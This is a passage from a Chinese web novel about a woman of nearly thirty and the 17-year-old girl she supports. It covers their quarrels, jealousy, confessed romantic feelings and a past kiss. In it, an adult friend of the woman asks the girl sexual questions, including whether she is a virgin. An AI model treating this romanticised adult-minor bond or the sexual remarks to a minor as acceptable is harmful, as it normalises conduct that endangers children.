“你没发现吗?你每次‘出差’回来,脸色都特别差,坐沙发上半天不讲话。你当我什么都不知道?我又不是傻子。” 她知道,她是靠脸来到她身边,本没资格计较,但人就是这样,贪欲无限膨胀,繁衍纷争。 “所以你开始模仿她?把自己打扮得跟照片里的她一样?她不是一直穿白色的。”姜悯被她气昏头,把自己搅进去。 “没办法,我只看过她一张照片,别的都被你藏起来,独自欣赏。” 周灵蕴也挺奇怪的,“当真问心无愧,为什么不把她照片拿给我看?明明白白告诉我,就是因为我们长得像,你才把我接到身边。你总是藏着掖着,我很难不多想。” 周灵蕴不介意跟黎双相似,却讨厌被蒙在鼓里,讨厌一切伪饰和不坦诚。 “你不是最喜欢假装,我都是跟你学的。” 姜悯近乎心梗,养她这么大,倒养出个冤家来了。 “你非要求我跟你一样吗?我就是不想说觉得没必要说,不可以吗?” “你骗我!”周灵蕴骤然拔高音量。她眼眶迅速堆红,闪烁起不甘和愤苦的晶亮,“我那么喜欢你,你知道我那么喜欢你,你一直骗我。” 如当头一棒,姜悯跌坐在沙发。周灵蕴像煮开的一锅白粥,每一句话,都是飞溅出来的点点粥汤,烫在心上。毫无防备,骤痛。 “我不知道。” “你又骗人!”周灵蕴拳头用力地砸床,哭喊着。 她那么喜欢她,她竟然说不知道?她的拥抱和亲吻,她没有一点感觉吗? “那你为什么回应,你为什么要跟我赖唧唧撒娇,用小猫哄我,还总是偷看我,你敢说你对我没有一点感觉吗?” 原来她什么都知道啊。 姜悯手按在沙发边,脸绷紧,哑口无言。 “你说话啊!”周灵蕴手指揪紧了身下的棉质床单,也讨厌这样斤斤计较的自己。 可她真的很喜欢她,很喜欢,想占据她心中除亲人外制高位置,奢求一份也许根本不可能的安定的永恒。 奇怪,下意识逃避,姜悯又缩回壳子里。 她控制不住,柔软的嘴唇,却吐露出这世上最尖锐刻薄的话语。 “你还是不够像。因为她从来不打游戏,她的空闲时间大多在看书,她也不会这样大声跟我争吵。她很温柔,总是体谅我。” 眼眶盛满了泪水,无法负荷,扑簌扑簌往下掉,白色裙布很快就一片湿漉。 周灵蕴贴坐在床沿,突然好恨自己。恨自己实在太了解她,知道她口中的一切,尽是违心的反话,她只是太胆小了,太害怕了。 “你就会欺负我,你总欺负我。你知道我不会离开,也离不开,你很坏地对我。”—— 作者有话说:迅疾菇来也—— 第67章 彻底陷入混乱 周灵蕴和姜悯大吵一架, 因为在山里,走出她们现在住的这栋房子,除了山还是山, 姜悯哪里也去不了,晚上还要跟周灵蕴坐在一张饭桌边吃饭。 她们吵得最厉害的时候, 谷香岚女士走进来把门打开了。 周灵蕴坐在床上抻着腿哭, 姜悯坐在沙发边盘着腿哭。 “你有什么好哭!”周灵蕴朝姜悯大声喊叫着,“明明就是你先欺负我!你就会欺负我, 只欺负我……” 姜悯不服气,说“你懂个屁”。 “你根本什么也不懂,什么也不知道,你只会埋怨我, 小学生思维。” “我不懂那你跟我说啊,你告诉我啊!”周灵蕴被谷香岚拉着往房间外面走,脸还朝着姜悯的方向,究问不停。 周灵蕴问姜悯,为什么一面享受跟她在一起时的感觉, 一面又好像觉得亏欠谁, 不能全情投入, 还时不时嘴里往外吐刀子扎人。 姜悯坐在饭桌边自己的固定位置, 脑袋里反反复复,是周灵蕴当时那句话。 ——“你扎我,扎痛我, 其实你自己也是满嘴血,只可惜你看不到。” 姜悯恍然。 她很坏对待周灵蕴的时候,自己心里也不好受。 她们在承受同样的煎熬,彼此却无法做到感同身受。 像两只相拥着取暖的刺猬。 周灵蕴一整个下午都待在奶奶的小房间, 念念抱着自己的作文本进去陪她,周灵蕴哭累,倒在床上睡觉,念念写着写着,不知怎么回事也窝在她旁边睡着,学姐姐,双手合十垫在腮帮,好乖的样子。 好热啊,一年比一年热了,山里也没比城里凉快多少,哭起来会更觉得热,身上汗和眼泪一起流,感觉更糟糕了,四处潮乎乎,黏答答。 周灵蕴不管不顾,放声大哭,哭得最厉害的时候,也许是情绪太过激动,心脏供血不足,两手发麻,连鼻涕纸都抓不住。 奶奶坐在床边,叹了口气,想说些什么,几次张嘴,又自顾摇头。 周灵蕴看着奶奶佝偻的脊背和花白头发,疲惫掀动眼皮,睡着之前,心里闷闷想,她太不孝了。 她们吵得那么厉害,奶奶吓坏了吧? 她吃姜悯的,喝姜悯的,住姜悯的,花了姜悯不知多少钱,还要跟姜悯吵架,简直倒反天罡。 姜悯眼神飘忽盯了会儿碗里的饭,抬头看向对面周灵蕴,她两片眼皮肿肿的,鼻头的红血丝还没有完全消退。伤心的小猫。 搞不清楚到底是哪里出了问题。 姜悯垂下脑袋,谷香岚给她饭碗里添了勺玉米肉沫,她牵起嘴角,勉力一笑。 饭桌上人凑齐,姜爸左右看看,轻咳一声,“下午为什么吵架,说吧。你们自己解决不了的,说出来,大家帮着参谋参谋。” 谷香岚说小孩子的事情,大人别掺和了,姜悯无差别攻击,“你是如来佛祖啊,管得真宽。还参谋,要去打仗吗?” 老登立即垮脸,正要发怒,谷香岚桌底下踹他一脚,“吃你的饭,少说两句。” 姜悯没什么胃口,挑起一颗玉米粒,干巴巴嚼半天咽不下去,她喝了小半碗排骨汤,撂下碗筷,“我回房了。” 她半死不活趴在床上,猜想周灵蕴晚上不会回来了,听到门响的时候,还以为是老妈,床上滚来滚去,“我没胃口啊,不想吃。” 周灵蕴打开衣柜门,把要换的床品翻出来丢到姜悯身上。 姜悯“嗷”一声,回头,刚要说话,见是去而复返的伤心小猫,抿紧嘴唇,不敢再多说。 “起来下。”周灵蕴哭得嗓子有点哑。 姜悯爬起,让到一边,看她利索更换枕套和床笠。 她们不舍得把小猫放宠物店寄养,开车一起带过来,小猫适应了几天,这个家还是最黏周灵蕴,跳上床,床尾边角趴着。 “我以为你不回来了。”姜悯主动搭话,求和的意思。 “我能去哪儿?”周灵蕴把拆换下的床品塞脏衣篓,准备提出去洗。 姜悯原地不动,等她回来。 周灵蕴站在门口,捏捏眉心,“那你现在饿了吗?” 鼻腔泛起湿热,姜悯背过身去。 饿,好饿。 周灵蕴不跟她说话的时候,她难过得一口水也喝不下,恨不得把自己饿死,渴死。 周灵蕴回到她身边,她身体恢复知觉的开关才“嗒”一声启动,对食物的渴望疯狂上涨。 饿,快饿死了。 晚饭接近尾声,众人离席,只有念念还坐在板凳,边用平板看动画片,边慢吞吞啃鸡爪子。 饭桌上没啥能吃的了,周灵蕴去厨房架锅烧水,打算给姜悯煮一碗泡面。 “和好啦?”春梅笑嘻嘻凑过来问。 周灵蕴从冰箱里拿出个鸡蛋,“卤鸡爪还有吗?” “有有……”春梅去看砂锅,“卤豆腐也来一块吧?” 周灵蕴点头应好。 姜悯不敢出去,怕被人笑,躲在房间里吃周灵蕴给她煮的泡面。 每一根面条都吸饱了汤汁,配料也相当豪华,肉菜齐全,汤底混了卤汁,味道醇厚。 姜悯吃饱喝足,周灵蕴递来一盘洗好的葡萄,顺便收碗。 勉强算和好。晚上没事干,周灵蕴带姜悯打游戏,姜悯吃饱,洗过澡精神多,也没太坑,相比之前,平均下来一局少送五个人头。 周灵蕴打游戏的时候不爱讲话,她很凶,单人路压线压得特别狠,视野和意识又是一流,打野和中路齐上也不怕,边打边退,塔下拿三杀。 姜悯对局,大多时间在等待死亡倒计时,她空闲都用来观察周灵蕴。 每一次抬头,掀眼,她目之所及都在刷新着过去的认知。 周灵蕴真的长大了。 她说她不会离开,也离不开。 姜悯总想到这句。 “你在干嘛?”周灵蕴忽然出声。 思绪被打断,姜悯吸气,哼笑着回神,“没干嘛呀。” “去带线啊,站泉水养鱼呢。”刀锋舞者踏刃从旁经过,罡风猎猎,长发飞扬。 姜悯“哦”了声。 她怀疑周灵蕴打击报复,在游戏里骂她,让她没法还嘴,还经常把她往敌人堆里引,看她被暴打,随后冷哼,来一句“狗屎一样的意识”。 姜悯玩这个游戏也有一年多了,至今没搞懂啥叫意识。 会补兵不就好了? 九月上旬,周灵蕴离开家,去学校报到,搬进学生宿舍,那是姜悯第一次被独自留在家。 她躺在房间的大床上办公,忽感到口渴,她丢开电脑,像往常一样展开双臂,对着空气大声说“好想喝一杯又香又浓的椰汁呀”,期待周灵蕴马上跑进房间,训斥说大晚上喝什么椰汁,糖分高,伤皮肤伤牙齿,但最后还是会满足她,等她喝完,拉着她起床去漱口。 房间里只有她自己的声音,走廊安静。 姜悯又等了会儿,习惯性期待落空,化作无名火,她刚要发火大叫,制造响动吸引人注意力,才恍然想起,周灵蕴不住在家里了。 尖锐的酸痛猝不及防刺穿心脏。姜悯几乎是颤抖着抓起手机,拨打周灵蕴电话。 那边很快接起来,轻灵笑闹声一片,隔着听筒,似乎可以感受到大学校园内初秋微凉宜人的晚风,吹拂起少女腮边的碎发。 “喂?”周灵蕴声音传来,带着点喘,似乎刚从热闹中抽身。 她跟舍友打了声招呼,独自走到一边,“这么晚给我打电话,有事吗?” “没事就不能打电话了?”姜悯声线骤然拔高,尖锐近乎刺耳。 她也讨厌极了不会好好说话的自己。她听到周灵蕴一声疲惫而轻微的叹息。 “当然可以。” “所以你想我了吗?” 总有办法,短暂抚平她尖刺,周灵蕴声音放柔了些。 姜悯嘴硬回答并没有。 她生硬转移话题,“问下你,在学校有没有什么不适应的地方。” “都挺好的。”周灵蕴话音轻松,“吃饭好便宜,比外面便宜,种类也丰富。课程有趣,同学友爱,一切都远超我预期。” 她对自己的校园生活感到非常满意。 “当然。”姜悯却难以自制溢出一声冷笑。 “不用待在我身边,轻松不少吧?再过几年就能完全脱离我掌控了。” 她开始变得不像自己,还是彻底暴露出尖酸刻薄的本质? 听筒那头沉默。 “说话啊!”姜悯失控低吼。 她不在身边,分分秒秒,都是煎熬折磨。 鼻吸紊乱,心跳剧烈,她似乎只能通过不断激怒她,撕扯她,用最丑陋的方式确认自己在她心中的分量。 仿佛只有剧烈的争吵,才能穿越空间,触碰到连接于彼此的稀薄纽带。 周灵蕴蹲在食堂附近一颗大石墩子上,跟室友挥手打招呼,让她们先回去。 “我从来没想过离开你。” 姜悯并没有得到安抚。 “可是你不在,你把我一个人丢在家里!你独自在外面快活! “我在上学,姐姐……”周灵蕴有气无力。 “那又怎么样!”姜悯简直不敢想象,她现在样子有多难看。 小猫也不解她为何突然发作,担心她,不安凑上前,湿软的鼻尖触碰她手背。 那又怎么样。 那又怎么样? 大概是早就预见到失去,在提前排演。 不等周灵蕴回应,姜悯立即挂断电话,唯恐慢一秒就会被她无奈的叹息声灼伤,甚至神经质打开手机飞行模式,抗拒关怀,或是刻意为对方制造不安。 赤着脚,姜悯梦游般踉跄跑进卫生间,看到镜子里的自己,不知不觉,彻骨的陌生和冰冷爬满面颊。 到底什么是爱,又该如何正确表达爱。 针锋相对,伤人伤己,难道就是她们所能给予彼此的全部? 姜悯彻底陷入混乱。 第68章 我偏要以下犯上呢? 不记得了。姜悯不记得从什么时候开始, 她对周灵蕴产生了姐妹或老板与下属之外的非分情谊。 是她们的第一次见面? 还是之后每一次见面。从清晨睁开双眼,到倦倦深夜降临,阖目前最后一场深情的凝睇。 也许都有。 过往近三十年人生, 姜悯从未对周灵蕴之外的人,产生过这般强烈的情感冲动。 她其实没有很坏, 没有特别毒舌, 也真没那么爱计较。 只是患得患失而情绪起伏超大实在难免。 被做局了?是谁在暗地里使坏,把那个瘦干巴的柴丫头扔她面前, 哼笑一声,然后满脸看好戏的样子,说“要不要管你自己看着办吧”。 “我怎么可能不管。”姜悯心底的声音说。 祖孙俩都跪到她面前来了。 说道德绑架,有点过, 坦白讲,她不是慈善家,她同样有自己的私心。 那张相似的脸蛋或许是周灵蕴进入她世界的通行证,但得以长久生存在她世界的,说是天赋也好, 缘分也罢, 是周灵蕴本身。 是她自己。 是她的热情、真诚、善良, 天真等等等等值得称道的优良品质。 甚至笨拙和固执的一面, 也叫人爱不忍释。 她们之间,从一开始,彼此边界就处在一个非常模糊不清的位置。 因为性别, 因为过大的年龄差距,还有老太太孜孜不倦的洗脑,日常相处毫无防备,得天独厚的暧昧温床, 爱与欲日渐疯涨。 [我可能真的有点喜欢她。] 这是周灵蕴进校前一天,姜悯发给舒颖的微信消息。 [谁啊?] 舒颖明知故问。 [小猫。] 姜悯含糊其辞。 [那正常,毛茸茸小动物,谁不爱。] 舒颖耐着性子陪她演。 [不是小猫。] [是小猫养的小猫。] 姜悯回。 [说什么绕口令呢。] [有屁就放。] [磨磨唧唧。] 舒颖开始施压,仇恨的小火苗熊熊燃烧,迫不及待看到她失控暴走。 姜悯简直要被逼疯。 [你非要我说出来吗?] [你连跟我都不敢说,将来怎么办?] [学校里头全是年轻漂亮的小姑娘。] [一个个嫩得能掐出水。] [乱花渐欲迷人眼。] [谁扛得住?] 舒颖一顿乱敲,办公室发出兴奋鹅叫。好幸灾乐祸。 [你真贱。] 姜悯被精准拿捏。 [说不说!] 舒颖持续施压。 [我喜欢她。] [周灵蕴。] 终于。 这两行字刚敲出来,头顶猝然一阵响动,姜悯吓得浑身一抖,手机掉地上。 周灵蕴愣了下,正要弯腰去捡,姜悯抢先捞起,摸到开关键,迅速熄灭屏幕。 “你在干嘛?”周灵蕴警惕眯起眼睛。 “没啊——”姜悯声线颤抖,尽管极力压制着,效果却微弱。 她倒打一耙,“你干嘛说话那么大声,你吓到我了。” 周灵蕴莫名其妙,“我说我想买个床帐,我正常说话音量。” “你买呗。”姜悯蜷回沙发角落,假意检查手机有没有摔坏,“这点小事还专门跟我说。” “想问问你的意见。”周灵蕴却没那么好打发,紧挨着她坐下,“我看网上说,要买遮光性比较强的,保护隐私,还方便睡懒觉。” “是,没错。”姜悯有不好的预感,解锁屏幕开始清理聊天记录。 “我看你跟谁说话,天天抱着手机聊。”周灵蕴说着就要去抢。 姜悯飞快举高手臂,“干嘛?” 可她忘记了,周灵蕴现在长得比她高,她卧姿更没优势,周灵蕴撑身在上,毫不费力,一把握住她手腕。 “你干嘛!”姜悯尖叫,左手换右手,也是急昏了头,竟然把手机塞进衣领,平贴胸部。 周灵蕴跪姿,一手撑在沙发背,一手还捏着她腕子,被她神操作秀到,不可置信看着她。 “为什么非要看我手机?”姜悯只能通过不停说话掩饰内心慌乱。 “为什么不能看。”周灵蕴平静回道。 “你以什么身份看我手机?”姜悯继续往外丢,心跳如鼓擂。 半启唇,愣住,周灵蕴有被问到。 她思索两秒,“你的家仆。” 姜悯隔着睡衣按住心口的手机,起身欲逃回房,屏幕温度几乎烫伤她,“家仆?那你属实有点拎不清自己了,家仆没有这种权利。” 周灵蕴仍不打算放过,追去房门口,“我偏要以下犯上呢?” 姜悯愕然回头。 “你是不是背着我谈恋爱了。”周灵蕴最后问道。 姜悯从她表情和话音中捕捉到一丝极细微的紧张。 如果她回答“是”,周灵蕴是追问不休,还是转身离去? “我给你看行了吧。”姜悯选择了第三条路。 “不要,你早删干净了。”周灵蕴调头就走。 跟舒颖的聊天记录当然不能给她看,那该如何让她满意,姜悯想不到。 周灵蕴搬去学校宿舍那天,姜悯开车把她送到校门口,主驾位不动如山,看她拖两个大行李箱慢吞吞往里走。 姜悯跟舒颖的解释是,学校美女太多,她年纪大了,担心比不过,闹得自己心里不痛快。 舒颖“哼”一声,不置可否。 等着看好戏。 周灵蕴收拾完床铺,躺上头给蛋挞发消息。 [我老板谈恋爱了。] [忙着去约会,我去学校报道都不送我。] [然后呢?] 蛋挞问她的感受。 [好不爽。] [她是不是嫌我小?] [但她初吻是跟我!虽然是我主动。] [如果,我是说如果,她以后把人带到家里来,我就这么跟那人讲。] 周灵蕴盘算好了。 来一个她杀一个,来两个她杀一双。 蛋挞发了段小视频过来。 女生竖起大拇指,摇晃出虚影,“姐,你是这个,你是这个。” 又打字回复。 [没看出来,以前真没看出来。] [还是个狠人。] [我是狠人。] 周灵蕴重复。 话虽如此,周灵蕴还是挺挫败的,偏偏‘喜欢’这玩意强求不来。 她搬到学校宿舍的第一周,有在刻意减少跟姜悯的联络,是出于避免过度打扰的考虑,也是在暗搓搓报复。 周灵蕴一直相信,人与人之间,心念相通。 力与力的作用是相互的,她不好过,姜悯一定也不会过,她用惩罚自己的同时也惩罚姜悯。 嗯,大家都别想好过。 大一课程轻松,周五上午就一节课,下午能回家,周灵蕴却在回家前一天晚上接到姜悯打来的电话。 女人在电话里发疯,极尽刻薄之能,周灵蕴放软语调,问“所以你想我了吗?” 如果回答是“是”,她会告诉她,她也很想她。 非常。 几乎无时无刻。 但姜悯怎么可能会老老实实顺着她话讲。 ——“并没有。” 并没有? 没有你叽哇什么,又东拉西扯说什么‘完全脱离掌控’。 周灵蕴最后还是套出她肚子里的真话。 ——“可是你不在,你把我一个人丢在家里,你独自在外面快活。” 电话挂断,周灵蕴再拨,语音通知说关机。 她找路人借手机,确定姜悯确实是关机,并非拉黑,心中稍安,归还手机后道谢,思考解决办法。 姜悯就像一只大蚌,坚硬的外壳保护着内里极致的纯真柔软,尖锐的砂砾刺痛她,也被她温柔包裹成珍珠,酝酿出一颗这世间绝无仅有的璀璨。 想拿到那颗珍珠,不容易,她的两扇大蚌壳咬合力惊人,一不当心就是鲜血淋漓。 立刻,马上,周灵蕴恨不得长翅膀飞回她身边。 周灵蕴有考虑过请假的,明天的课不上了。 她走到宿舍楼下,对门花坛边蹲了会儿,想想,作罢。 [你对象呢?] 周灵蕴给姜悯发消息。 怎么不叫对象陪你。 哪个王八蛋这么好的命?姜大蚌一天三顿咬,她手都被夹烂了,里头那颗珍珠鬼影没瞧见。 却有人,叫她心甘情愿张壳。 半夜emo,只是少人伺候,不习惯吧。 关我毛事。 找你对象去啊! 周灵蕴想通这点,溜溜达达回宿舍。 姜悯哭到一半,进卫生间洗澡,出来感觉好些了,关闭手机飞行模式,周灵蕴消息弹出来。 她一头雾水。 对象?她哪里有对象? 公司里倒是有对象,董事会不知道哪个老头摆的,说从泰国请回来的。 姜悯脑袋上顶个干发帽坐床边,难受倒是没那么难受了。 郁闷,她郁闷。 两个人都攒着股不服输的劲儿,姜悯不想回她消息,周灵蕴第二天早上起来没看到信息,也懒得搭理。 按部就班,上午的课程结束,周灵蕴背起书包,搭地铁回家,在家附近的生活超市购置齐肉菜,脑袋里默默安排今天的晚饭。 周灵蕴一路走,一路想,其实还挺庆幸。 她是黎双的替身,也幸好是黎双的替身,她的地位一定比姜悯外面认识的那些妖艳贱货高出许多。 许多许多,许许多多。 她们谁也别想超过她。 门启,周灵蕴却没想到,姜悯这么快就把人带到家里来了。 长度齐肩的黑发女人,戴细框眼镜,面庞窄瘦,身材高挑,穿一件海蓝色长款西装外套,下装则是薄厚适度的毛线裙。 明显只会出入于高档写字楼和咖啡厅,有轿车代步的金领打扮,裙下一双小腿细长优雅,沙发上坐,玻璃杯里的纯净水端出白香槟效果。 肥肥大大的牛仔裤,卫衣,头发胡乱扎个马尾,手提超市购物袋,书包两肩压,周灵蕴每次洗完澡照镜子都觉得自己长得挺漂亮的。 这样一个女人面前,她却感到自惭形秽。 那是岁月赋予的独特气场,还有钞票一沓沓摞起来的硬包装。 姜悯也很漂亮,穿衣打扮精致考究,但周灵蕴对她只有爱慕和欣赏。 扫一眼,姜悯不在客厅,周灵蕴把购物袋拎放在餐桌。 “你谁啊?”她率先发问,语气不善—— 作者有话说:迅疾菇值日 第69章 性吗?床上功能?…… 舒颖凌晨两点接到姜悯电话。姜悯手机里哭得稀烂, 说喘不上气,要死了。 “哮喘?还是别的什么?”舒颖边穿外套边往外走,险些要给她打救护车, 电话里几句搞清原委,愣神三秒, 随后从电梯间返回卧室, 掀开被子重新躺进去,“你冷静一点。” 然后挂断电话, 打开飞行模式,睡觉。 主体性极强的女人,事物尺度原则规范。 所以,当第二天中午姜悯接到舒颖电话, 接收到言简意赅“派电梯”三字,随后蓬头垢面在电梯厅接到人时,没忍住上手摸了摸她的脸。 “你不是被什么妖怪夺舍了吧?” 舒颖带了些吃的上来,胳膊肘打开她,“别跟我动手动脚的。” 姜悯又惊又喜, “你怎么会来?” “因为我拒接你电话, 你以为我因此而讨厌你吗?我只是不想被打扰睡眠, 年纪大了, 睡个好觉不容易。” 舒颖环顾一圈,走向鞋柜,眼神示意姜悯。 “哦哦——”姜悯赶忙跑去给她找客拖。 舒颖两手被购物袋占据, 瞄她一眼。这人显然是从小到大被伺候惯的,一点没个眼力见,连东西都不知道接一下。 “怪不得会凌晨两点给人打骚扰电话。” “啊?”姜悯正蹲在她面前布拖鞋,闻言仰脸, 睫毛懵懂扑簌,“你抬下脚。” 嗐,你说她缺心眼吧,她又知道人手里拎着东西,不方便脱鞋。 “不用了。”舒颖弯腰放下购物袋,小腿翘起,反手拔下高跟鞋。 “我是泥腿子白手起家,跟世袭的资本家小姐不一样,没有奴役别人的习惯。” 这人胡言乱语些什么呢? 姜悯把口袋提进屋,返回她身前,“穷人乍富啊,怪不得喜欢搞什么豢养金丝雀情节,满足自己扭曲的掌控欲。” 她挥舞双手,开始唱歌,“别的那样哟,别的那样哟,我的青春小鸟一样不回来——” 舒颖好笑,“你看起来还不错啊。” 像商场门口被拔掉气门芯的长条气球人,姜悯一下就蔫巴了,把自己摔在沙发,“好讨厌好讨厌。” 讨厌自己。 讨厌不在自己身边的周灵蕴。 “所以我来看看你。” 舒颖环顾姜悯的家,两个截然不同的人类的家居审美,奇妙融合、交织,再经过时间的沉淀和发酵,组合成新。 品质优雅与色彩鲜艳的童趣并存。 简而言之,周灵蕴在姜悯的家留下了许多痕迹。 这里早就变成她们共同的家了。 身体陷落巨大的云朵沙发,舒颖忽而沉默。 姜悯半天没听见女人动静,撑身爬起,眯眼瞅了会儿她,“在想你飞走的金丝雀吗?” 吸气,舒颖回神,“昨晚发生了什么。” 姜悯重新躺倒,抓来身侧的方枕,抬腿耍杂技似的踢着玩,“讲不好,没什么具体的事,非要说就是寂寞吧。” 然后想起什么,“你下午没工作吗?谢谢你来陪我。” “工作处理完了,下午和晚上都有空闲。” 舒颖手快接住姜悯踢飞的抱枕,归还,沉吟片刻,“这么多年,你是第一个主动跟我产生交际的朋友。” 后面还有句肉麻的,不愿讲——我非常珍惜这段友谊。 “我也一样。”姜悯接道。 “所以你……” “所以你?” 二人同时开口。 “你先讲。” “你先讲。” 她们齐愣住。 舒颖抬手制止,“我先讲。所以从那个女孩离开之后,你再没交过别的朋友吗?” “不过泛泛。”姜悯答。 舒颖微笑着点头,“我也是。” 姜悯有感觉到,“我们挺像的。” 她们很早之前就因为工作添加了联系方式,也许是缘分未到,工作结束后再没说过一句话,同样的固执冷漠,甚至连朋友圈都不会互相点赞。 却在之后的某一天,其中一方突然打破沉默,然后迅速发展成好友。 “像很久以前在沙滩上捡到的一只宝箱,当时没找到钥匙,忘记在储物室的角落,一次不经意的回眸,却发现箱子其实根本没有上锁!” 姜悯说着说着,又想起小孩了,“认真计较起来,你是小孩姐带来的。不是上次吵架,我不会想到求助别人。” 虽是作为被动的一方,舒颖亦有同感。 “我也没想到,你我经历竟如此相似,有时我看你,像在看过去的自己。” “欸!”姜悯腾地立起,“要不咱俩好吧。” 舒颖转脸,狭长的丹凤眼隔着玻璃镜片把姜悯上下衣扫,嘴角缓慢拉长,露出嫌恶。 “你啊?” 什么表情?! 姜悯大为受挫,“呵呵,其实你也挺一般。” 舒颖比姜悯大五岁,“我是喜欢妹妹,但不是你这种。” “开玩笑的,你不会当真吧?”姜悯一手捏住鼻子,一手虚空狂扇,“一身老人味儿,自己闻不见啊?拜托!我也是喜欢妹妹的!” “你真的很贱。”舒颖说。 唇枪舌战,有来有往。 不过一通嘻哈之后,姜悯心情确实好转许多,舒颖带了些卤味,“去收拾收拾出来吃吧。” 昨晚熬太久,姜悯刚起床,“那你等下,我洗个澡。” 周灵蕴就是这个时候回来的。 双肩包,白色卫衣,马尾辫,自己按指纹锁打开门走进来,手里还拎着楼下超市购物袋。 身份不言而喻。 原来姜悯的小猫是这个样子,舒颖以前只在朋友圈照片见过,第一感觉是小。 她比她大十五岁,换旧时代,使把劲儿能把她生出来。 除此之外,再没别的感受了。 周灵蕴太小了,她们像两个完全不同的物种。 今日终于得见真人。 很嫩啊,面部胶原蛋白丰富,头发黑亮柔顺有光泽,五官明丽出挑,又稍带点这个时代的小孩独有的阴郁。占比不多,却格外有味道。 是跟姜悯在一起生活久了吗? 她脾气看起来不怎么好呢。 ——“你谁啊?” 在舒颖小时候那个年代,尤其是女孩子,乖巧礼貌是人生至高荣誉,日常生活中任何负面情绪都是不被允许的。 初次见面,周灵蕴的反应跟“乖巧礼貌”显然不搭边,舒颖却不觉冒犯。 她也不是什么好东西。 “你是……”舒颖起身,故作不解,“你应该就是黏黏资助的那位小朋友吧?” 步态优雅,她缓缓来到周灵蕴面前,微笑着伸出右手,“你好,我是舒颖。” 周灵蕴呆傻半张口,还在她前半句里没反应过来。 什么叫‘黏黏资助的那位小朋友’。 怎么她们很亲密吗? “我是……”心中警铃大作,周灵蕴心跳骤然加快。 她的‘我是’后面想跟大名的,她并不是在回答她。 却被舒颖抢先一步,“我知道你,黏黏经常跟我提起你。” 周灵蕴愣住。 “哦”一声,才想起来打招呼,周灵蕴点点头说“你好”,指了下卧室方向,“我先进去放书包。” “好。”舒颖应下,却不打算结束,跟在她身后,“我可以参观你的房间吗?” 周灵蕴手攥紧书包带,“舒颖”这个名字她好像从姜悯嘴里听到过,是以前生意上的合作伙伴,也是朋友。 她站在走廊,见姜悯房间门敞着,往里瞄了眼。 “她在洗澡。”舒颖温和道。 周灵蕴卸下一边书包带,诧异回眸。 什么意思? 提醒她来得不是时候,洗完澡打算干嘛,要那个吗? 周灵蕴霎时就面红耳赤了。 她心里乱糟糟的,心跳过于慌乱的缘故,手指又麻麻的,好不舒服。 舒颖房中绕行一圈,“她把你的房间布置得很漂亮啊。” 周灵蕴不知道该怎么接。 她说话好奇怪,正常又极不正常,似在暗示着什么又好像没有。叫人捉摸不透。 她到底什么身份,立场,周灵蕴看不透,也懒得去猜了。 “当然要好好布置。” “她对你很好。”舒颖踱去靠窗位置,逆光处剪影如遒丽的梅枝,风骨峻秀。 “因为她偶尔要来我这边睡啊。”周灵蕴把周末要看的书从书包里一本本取出来,整齐码放在桌面。 她扭脸朝向舒颖,好奇睁大眼睛,眨巴眨巴,“你们认识应该也有段时间了吧,她没跟你讲过吗?” 舒颖镜片下两只眼睛笑眯起来,“讲过,当然有讲,我们经常提到你。” 她所言句句不虚,却都意味朦胧。 “都说我什么?”周灵蕴到底年纪小,好不容易扳回一局,转头又掉坑。 那是姜悯的隐私,舒颖当然不会告诉她。 “是我跟她之间的秘密。” “秘密……”周灵蕴细细咀嚼这两个字。 她用尽力气维持的体面,在舒颖看似柔软无害,却句句针尖似扎进穴位的精准打击下开始逐步瓦解。 她确定了,姜悯离开家那阵子就是住在这个女人家里。 住了那么久,从早到晚都住着,不知生产出多少秘密。 翻开一页书,强迫阅读,目光却像被无形的丝线牵引,总往她那边看。 “你几岁啊。” 对于比自己年长的女性,周灵蕴脑袋里只有姐姐、嬢嬢和婆婆三种概念。 她需要具体的数字确定感觉。 “我是你姐姐的姐姐。” 舒颖对自己的年龄并不感到抱歉和羞耻,她只是故意卖个关子,“我比她年长五岁。” 手指细细摩挲书页边角,周灵蕴脑中飞快计算,得到相加后的答案,试探着放出一枚冷箭。 “那你比我大好多哦,我连十八岁都还没有呢,我十月的生日,我现在才十七。” “那很年轻了。”完全没有被攻击到,舒颖险些憋不住笑。 “嗯呐——”周灵蕴装得满脸天真,“姐姐到这个年纪,感觉身体有什么不适的地方吗?” “身体?”舒颖困惑状,“唔”一声,食指挠挠太阳穴,“你指哪方面,性吗?床上功能?”—— 作者有话说:迅疾菇来也 舒·洲际导弹·颖:让你见识下什么叫真正的姐 第70章 我想跟你睡觉 “身体, 指睡眠质量,新陈代谢,还是别的什么呢?” 舒颖来到周灵蕴身后, 干净修长的手指轻轻搭在周灵蕴肩膀。 若有似无的冷香盘绕,随她俯身的动作, 温热吐息拂过, 周灵蕴发顶一阵细微痒意。 “人都是会老的,迟早的, 年轻当然有年轻的好,但年长并非就是差。” 舒颖语调平稳,指尖却在周灵蕴肩头有意无意轻点两下,“你问我身体, 我没觉得哪儿不舒服,我每年都体检,各项报告正常。非说有什么跟你不一样的……” 她顿了顿,嘴角勾起一抹玩味的弧度,“可能我性方面的经历比你多一些?” 关于年龄, 舒颖承认自己其实有被攻击到! 不过只有一点点啦!大拇指和食指掐个尖那么大一点点。 小屁孩, 还想跟她斗。 指缝里漏点出来能把她淹死! “然后呢?你的问题, 我给出解答了。”舒颖在周灵蕴旁边位置坐下, 单手撑腮,手指轻点脸颊,饶有兴味的样子。 “也跟我说说你自己吧, 听你老板说,你今年上大学了,你破处了吗?” 什么? 什么什么! 如一道耳边雷,周灵蕴惊恐睁大眼睛, 险些聋掉。 这女的好那啥啊! 后背起汗,周灵蕴羞耻心爆棚,又不甘如此败走,大脑疯狂运转,试图寻找她薄弱处进行反击。 “你耳朵好红!”舒颖忽然怪叫一声,两根手指坏心捏住周灵蕴耳垂,“哎呦!还很烫,不会发烧了吧。” 周灵蕴像被电到,瞬间从板凳弹起。 她一只手捂住被捏过的耳朵,后背贴墙,如受惊的小兽。 “别误会。”舒颖双手高举,做了个投降的姿势。 她脸上笑意不减,眼神却坦荡,“我对未成年没有兴趣,只是有点意外,纯粹好奇。” 打不过。老女人手段了得。 周灵蕴绷着脸,擦着舒颖肩膀快步走过,硬邦邦丢下一句“您自便”,扭头躲进卫生间。 落荒而逃了。 舒颖懒懒耸肩。 “……以上。”舒颖汇报完毕。她斜倚在盥洗台,双手环胸,姿态闲散,“她把我当情敌,语气非常不善,还攻击我年龄,太恶劣。” 姜悯压了汞精华在手心搓热涂脸,闻言诧异扭头,“到底谁恶劣啊?跟小孩子讲什么性不性的,莫名其妙。” 舒颖眯眼打量她片刻,“姜老板,你是真没做过假没做过?” “我洁身自好。”姜悯不觉得有什么丢脸。 “怪不得那么敏感。” 舒颖拖长调子, 